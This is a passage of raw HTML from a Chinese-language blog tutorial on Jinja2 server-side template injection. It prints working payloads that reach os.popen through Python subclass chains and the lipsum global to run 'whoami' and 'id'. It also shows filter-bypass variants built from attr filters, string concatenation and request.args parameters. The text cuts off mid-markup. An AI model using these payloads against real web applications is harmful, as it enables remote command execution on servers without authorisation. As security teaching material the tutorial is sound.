style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{{code}}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #999999\">{{<\/span><span style=\"color: #393A34\">code<\/span><span style=\"color: #999999\">}}<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884c python \u8868\u8fbe\u5f0f\u5e76\u8f93\u51fa\u3002<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{%code%}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #999999\">{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #393A34\">code<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884c\u63a7\u5236\u7ed3\u6784\u548c\u903b\u8f91\u8868\u8fbe\u5f0f\uff0c\u4e0d\u8f93\u51fa\u3002\u76f4\u63a5\u6267\u884c Python \u8868\u8fbe\u5f0f\u53ef\u4ee5\u7528 <code>{%print(code)%}<\/code>\uff0c\u540c\u65f6\u5b9e\u73b0\u8f93\u51fa\u3002<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Payload<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9\u4e8e ssti \u7684\u8fc7\u6ee4\u4e00\u822c\u51fa\u5728\u5173\u952e\u8bcd\u548c\u7279\u6b8a\u5b57\u7b26\u7684\u8fc7\u6ee4\u4e0a\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5173\u952e\u5b57\u8fc7\u6ee4\uff1a\u60f3\u8981\u7ed5\u8fc7\u5173\u952e\u5b57\uff0c\u53ea\u8981\u8ba9\u5173\u952e\u5b57\u4ee5\u5b57\u7b26\u4e32\u7684\u5f62\u5f0f\u88ab\u8c03\u7528\u5c31\u5f88\u5bb9\u6613\u5b9e\u73b0\u3002\u56e0\u4e3a\u5b57\u7b26\u4e32\u53ef\u4ee5\u8fdb\u884c\u5404\u79cd\u7f16\u7801\u3001\u62fc\u63a5\u548c\u8fc7\u6ee4\u5668\u5904\u7406\u3002\u90a3\u4e48\u5982\u4f55\u4ee5\u5b57\u7b26\u4e32\u5f62\u5f0f\u8c03\u7528\u5404\u79cd\u5173\u952e\u5b57\u5462\uff0c\u6211\u4eec\u6765\u770b\u8fd9\u4e9b\u5185\u7f6e\u65b9\u6cd5\u548c\u8fc7\u6ee4\u5668\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5e38\u89c4 payload \u4e2d\u6211\u4eec\u7528 <code>''.__class__<\/code> \u6765\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u7684\u5c5e\u6027\u3002\u4e8b\u5b9e\u4e0a\u8fd9\u91cc\u9664\u4e86 <code>.<\/code> \u4e4b\u5916\u6709\u5f88\u591a\u5176\u4ed6\u7684\u8c03\u7528\u65b9\u5f0f\uff0c\u6211\u4eec\u53ef\u4ee5\u7528 <code>__getattribute__<\/code>\u3001<code>attr<\/code> \u8fc7\u6ee4\u5668\u6765\u5b9e\u73b0\u3002<code>getattribute<\/code> \u65b9\u6cd5\u51e0\u4e4e\u662f\u6240\u6709\u5c5e\u6027\u8bbf\u95ee\u884c\u4e3a\u7684\u5e95\u5c42\u5b9e\u73b0\uff0c\u7528 <code>.<\/code> \u6765\u8bbf\u95ee\u5c5e\u6027\u4e8b\u5b9e\u4e0a\u5c31\u8c03\u7528\u4e86 <code>getattribute<\/code>\u3002\u800c <code>attr<\/code> \u8fc7\u6ee4\u5668\u662f jinja2 \u5185\u7f6e\u7684\u8bbf\u95ee\u5c5e\u6027\u7684\u8bed\u6cd5\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7279\u6b8a\u7b26\u53f7\u8fc7\u6ee4\uff1a\u89e3\u51b3\u4e86\u5173\u952e\u5b57\u7684\u95ee\u9898\u540e\uff0c\u6211\u4eec\u518d\u6765\u770b\u5bf9\u4e8e\u7279\u6b8a\u7b26\u53f7\u7684\u8fc7\u6ee4\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c\u8fc7\u6ee4\u4e86 <code>.<\/code> \u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u7528 <code>attr<\/code> \u8fc7\u6ee4\u5668\u5b9e\u73b0\u8bbf\u95ee\u5bf9\u8c61\u5c5e\u6027\uff0c\u547d\u4ee4\u4e2d\u7684 <code>.<\/code> \u53ef\u4ee5\u76f4\u63a5\u7f16\u7801\u7ed5\u8fc7\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cattr \u8fc7\u6ee4\u5668\u540e\u4e0d\u80fd\u76f4\u63a5\u8fdb\u884c <code>.<\/code> \u7684\u62fc\u63a5\uff0c\u9700\u8981\u5bf9\u6574\u4f53\u52a0\u62ec\u53f7\u518d\u7528 <code>.<\/code> \u8bed\u6cd5\u3002<\/li>\n\n\n\n<li>\u5982\u679c\u8fc7\u6ee4\u4e86 <code>'\"<\/code>\uff0c\u6211\u4eec\u53ef\u4ee5\u7528 request \u65c1\u8def\u6ce8\u5165\u7684\u65b9\u6cd5\u7ed5\u8fc7\uff0c\u4f46\u8fd9\u91cc\u5fc5\u987b\u7528\u5230 <code>.<\/code>\u3002<\/li>\n\n\n\n<li>\u5982\u679c\u8fc7\u6ee4\u4e86 <code>[]<\/code>\uff0c\u5bf9\u4e8e\u5b57\u5178\u7684\u8bbf\u95ee\u53ef\u4ee5\u7528 <code>__getitem__<\/code>\u3001<code>get<\/code>\u3001<code>setdefault<\/code>\u3001<code>pop<\/code>\u8fdb\u884c\u7ed5\u8fc7\u3002<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly># \u57fa\u7840 payload\n{{\"\".__class__.__base__.__subclasses__()&#91;\u4e0b\u6807&#93;.__init__.__globals__&#91;'__builtins__'&#93;.eval(\"__import__('os').popen('whoami').read()\")}}\n\u00a0\u200b\n# \u5faa\u73af\u8bed\u53e5\u83b7\u53d6\u4e0b\u6807\n{% for c in \"\".__class__.__base__.__subclasses__() %}\n \u00a0{% if c.__name__=='catch_warnings' %}\n \u00a0{{ c.__init__.__globals__&#91;'__builtins__'&#93;.eval(\"__import__('os').popen('whoami').read()\") }}\n \u00a0{% endif %}\n{% endfor %}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A0ADA0\"># \u57fa\u7840 payload<\/span><\/span>\n<span class=\"line\"><span style=\"color: #999999\">{{<\/span><span style=\"color: #B5695999\">&quot;&quot;<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__class__<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">__base__<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__subclasses__<\/span><span style=\"color: #999999\">()&#91;<\/span><span style=\"color: #393A34\">\u4e0b\u6807<\/span><span style=\"color: #999999\">&#93;.<\/span><span style=\"color: #998418\">__init__<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__globals__<\/span><span style=\"color: #999999\">&#91;<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">__builtins__<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">&#93;.<\/span><span style=\"color: #393A34\">eval<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">__import__(&#39;os&#39;).popen(&#39;whoami&#39;).read()<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">)}}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">\u00a0\u200b<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A0ADA0\"># \u5faa\u73af\u8bed\u53e5\u83b7\u53d6\u4e0b\u6807<\/span><\/span>\n<span class=\"line\"><span style=\"color: #999999\">{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #1E754F\">for<\/span><span style=\"color: #393A34\"> c <\/span><span style=\"color: #1E754F\">in<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&quot;&quot;<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__class__<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">__base__<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__subclasses__<\/span><span style=\"color: #999999\">()<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\"> \u00a0<\/span><span style=\"color: #999999\">{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #1E754F\">if<\/span><span style=\"color: #393A34\"> c<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__name__<\/span><span style=\"color: #AB5959\">==<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">catch_warnings<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\"> \u00a0<\/span><span style=\"color: #999999\">{{<\/span><span style=\"color: #393A34\"> c<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__init__<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__globals__<\/span><span style=\"color: #999999\">&#91;<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">__builtins__<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">&#93;.<\/span><span style=\"color: #393A34\">eval<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">__import__(&#39;os&#39;).popen(&#39;whoami&#39;).read()<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">)<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">}}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\"> \u00a0<\/span><span style=\"color: #999999\">{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #393A34\"> endif <\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #999999\">{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #393A34\"> endfor <\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly># \u6ca1\u8fc7\u6ee4 '\\\"\\()\n{%print((((lipsum|attr(\"__glo\"+\"bals__\"))|attr(\"get\")(\"os\"))|attr(\"po\"+\"pen\")(\"id\"))|attr(\"read\")())%}\n\u00a0\u200b\n# \u6ca1\u8fc7\u6ee4 .\\()\n{%print((((lipsum|attr(request.args.gl))|attr(request.args.g)(request.args.o))|attr(request.args.p)(request.args.c))|attr(request.args.r)())%}\nget \u4f20\u53c2\uff1agl=__globals__&amp;g=get&amp;o=os&amp;p=popen&amp;r=read&amp;c=id\n\u00a0\u200b\n{%for c in ()|attr(request.args.cl)|attr(request.args.ba)|attr(request.args.sub)()%}{%if c|attr(request.args.na)==request.args.nb%}{%print((c|attr(request.args.in)|attr(request.args.gl))&#91;request.args.p&#93;(request.args.xq).read())%}{%endif%}{%endfor%}\nget \u4f20\u53c2\uff1acl=__class__&amp;ba=__base__&amp;sub=__subclasses__&amp;na=__name__&amp;nb=_wrap_close&amp;in=__init__&amp;gl=__globals__&amp;p=popen&amp;r=read&amp;xq=id<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A0ADA0\"># \u6ca1\u8fc7\u6ee4 &#39;\\&quot;\\()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #999999\">{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #998418\">print<\/span><span style=\"color: #999999\">((((<\/span><span style=\"color: #393A34\">lipsum<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">__glo<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #AB5959\">+<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">bals__<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">))<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">get<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">)(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">os<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">))<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">po<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #AB5959\">+<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">pen<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">)(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">id<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">))<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">read<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">)())<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">\u00a0\u200b<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A0ADA0\"># \u6ca1\u8fc7\u6ee4 .\\()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #999999\">{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #998418\">print<\/span><span style=\"color: #999999\">((((<\/span><span style=\"color: #393A34\">lipsum<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">gl<\/span><span style=\"color: #999999\">))<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">g<\/span><span style=\"color: #999999\">)(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">o<\/span><span style=\"color: #999999\">))<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">p<\/span><span style=\"color: #999999\">)(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">c<\/span><span style=\"color: #999999\">))<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">r<\/span><span style=\"color: #999999\">)())<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">get \u4f20\u53c2\uff1agl<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #998418\">__globals__<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">g<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #393A34\">get<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">o<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #393A34\">os<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">p<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #393A34\">popen<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">r<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #393A34\">read<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">c<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #998418\">id<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">\u00a0\u200b<\/span><\/span>\n<span class=\"line\"><span style=\"color: #999999\">{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #1E754F\">for<\/span><span style=\"color: #393A34\"> c <\/span><span style=\"color: #1E754F\">in<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">()<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">cl<\/span><span style=\"color: #999999\">)<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">ba<\/span><span style=\"color: #999999\">)<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">sub<\/span><span style=\"color: #999999\">)()<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #1E754F\">if<\/span><span style=\"color: #393A34\"> c<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">na<\/span><span style=\"color: #999999\">)<\/span><span style=\"color: #AB5959\">==<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">nb<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #998418\">print<\/span><span style=\"color: #999999\">((<\/span><span style=\"color: #393A34\">c<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #1E754F\">in<\/span><span style=\"color: #999999\">)<\/span><span style=\"color: #AB5959\">|<\/span><span style=\"color: #393A34\">attr<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">gl<\/span><span style=\"color: #999999\">))&#91;<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">p<\/span><span style=\"color: #999999\">&#93;(<\/span><span style=\"color: #393A34\">request<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">args<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">xq<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">read<\/span><span style=\"color: #999999\">())<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #393A34\">endif<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}{<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #393A34\">endfor<\/span><span style=\"color: #AB5959\">%<\/span><span style=\"color: #999999\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">get \u4f20\u53c2\uff1acl<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #998418\">__class__<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">ba<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #393A34\">__base__<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">sub<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #998418\">__subclasses__<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">na<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #998418\">__name__<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">nb<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #393A34\">_wrap_close<\/span><span style=\"color: #AB5959\">&amp;in<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #998418\">__init__<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">gl<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #998418\">__globals__<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">p<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: 